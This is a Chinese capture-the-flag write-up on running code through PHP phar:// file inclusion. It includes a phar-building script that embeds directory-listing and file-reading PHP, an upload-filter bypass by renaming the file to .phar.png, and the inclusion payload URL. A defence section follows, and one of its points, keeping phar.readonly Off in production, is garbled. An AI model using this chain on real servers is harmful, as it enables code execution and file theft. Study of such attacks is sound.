一、题目整体介绍
1. 环境限制与源码逻辑
靶机限制仅允许phar://协议被include包含执行;同时上传页面仅放行.png后缀文件,禁止 php、phar 等脚本后缀。 核心特性:phar://协议不受外层文件名后缀干扰,即便把 phar 包重命名为xxx.phar.png,PHP 依旧可以正常解析归档内 PHP 代码并执行。
2. 核心考点
- PHAR 归档文件打包、运行条件(
phar.readonly=Off、必须带__HALT_COMPILER()存根) - phar:// 协议文件包含漏洞利用
- 上传后缀过滤绕过(phar 包重命名追加.png)
- 分两步利用:先遍历目录找 flag 文件名,再读取 flag 明文
二、本地前置环境配置(打包恶意 phar 必备)
1. 修改 php.ini 配置
打开php.ini,修改参数并重启 PHP 服务:
ini
phar.readonly = Off默认 On 状态下无法生成、修改 phar 归档包,必须关闭只读限制才能打包木马。
2. 打包脚本 build.php
新建build.php,这是生成恶意 phar 包的核心脚本
php
运行
<?php @ini_set('phar.readonly',0); // 创建phar归档,输出shell1.phar $phar = new Phar("shell1.phar"); // 第一步:写入遍历根目录的扫描代码 $phar->addFromString("shell1.php","<?php print_r(scandir('/')); ?>"); // phar强制要求必须添加HALT_COMPILER存根,否则无法被解析 $phar->setStub("<?php __HALT_COMPILER(); ?>"); echo "生成成功"; ?>- 本地浏览器访问
http://localhost:8000/build.php - 运行后同目录会生成
shell1.phar恶意归档包
三、绕过 png 上传限制,上传 phar 包
1. 重命名绕过过滤
将生成的shell1.phar重命名为shell1.phar.png
原理:后端仅校验文件后缀最后一段
.png,不会校验 phar 归档内部结构,成功放行上传。
2. 靶机上传操作
- 打开靶机上传页面:
http://靶机IP:端口/upload.html - 选择
shell1.phar.png点击上传 - 上传成功后会返回文件存储路径:
/upload/shell1.phar.png
四、第一步:phar 协议包含遍历根目录,获取 flag 文件名
构造包含 Payload 访问地址:
plaintext
http://靶机IP:端口/?file=phar:///upload/shell1.phar.png/shell1.php- 页面会打印服务器根目录全部文件列表
- 从中提取 flag 真实文件名,示例:
flag_7d9726285.txt
五、第二步:二次打包替换代码,读取 flag 明文
1. 修改本地 build.php 执行代码
把扫描目录的代码替换为文件读取代码,填入刚才拿到的 flag 文件名:
php
运行
<?php @ini_set('phar.readonly',0); $phar = new Phar("shell1.phar"); // 替换为读取flag文件指令 $phar->addFromString("shell1.php","<?php echo file_get_contents('/flag_7d9726285.txt'); ?>"); $phar->setStub("<?php __HALT_COMPILER(); ?>"); echo "生成成功"; ?>2. 重新打包、重命名、覆盖上传
- 再次访问本地
build.php生成新shell1.phar - 依旧重命名为
shell1.phar.png - 重新上传靶机,覆盖旧文件
3. 再次访问 Payload 拿到完整 flag
再次访问同一 phar 包含链接:
plaintext
http://靶机IP:端口/?file=phar:///upload/shell1.phar.png/shell1.php页面直接输出 flag 字符串,复制提交即可得分。
六、关键原理 & 易错知识点
1. PHAR 协议核心特性
- 外层文件名后缀不影响归档解析:
a.phar.png、a.png都能被phar://正常读取内部 php 文件 include加载 phar 包内 php 文件时,会自动执行包内 PHP 代码,等效上传 webshell- 硬性打包要求:必须写入
__HALT_COMPILER()存根,缺少则 PHP 无法识别 phar 归档
2. 源码过滤限制解读
- 仅白名单
phar://协议,data://、php://、本地路径全部拦截封锁 - 上传白名单仅
.png,无法直接上传.phar,依靠重命名后缀绕过
3. 踩坑排查提示
- 打包失败:检查
phar.readonly=Off是否生效、PHP 服务是否重启 - phar 包含无输出:确认存根
__HALT_COMPILER()不能写错、上传路径完全匹配 - 文件读取报错:flag 路径 / 文件名必须和遍历扫描出来的完全一致
七、漏洞防御方案
- 严格过滤
phar://、data://等危险协议,禁止用户可控输入传入协议包装路径 - 上传校验增加文件头二进制校验,不单单只校验后缀名,识别 phar 归档特征
- 生产环境关闭
phar.readonly=Off,限制恶意 phar 包生成;禁用危险文件包含函数 - 对用户传入的文件路径做白名单校验,限制只能访问指定目录文件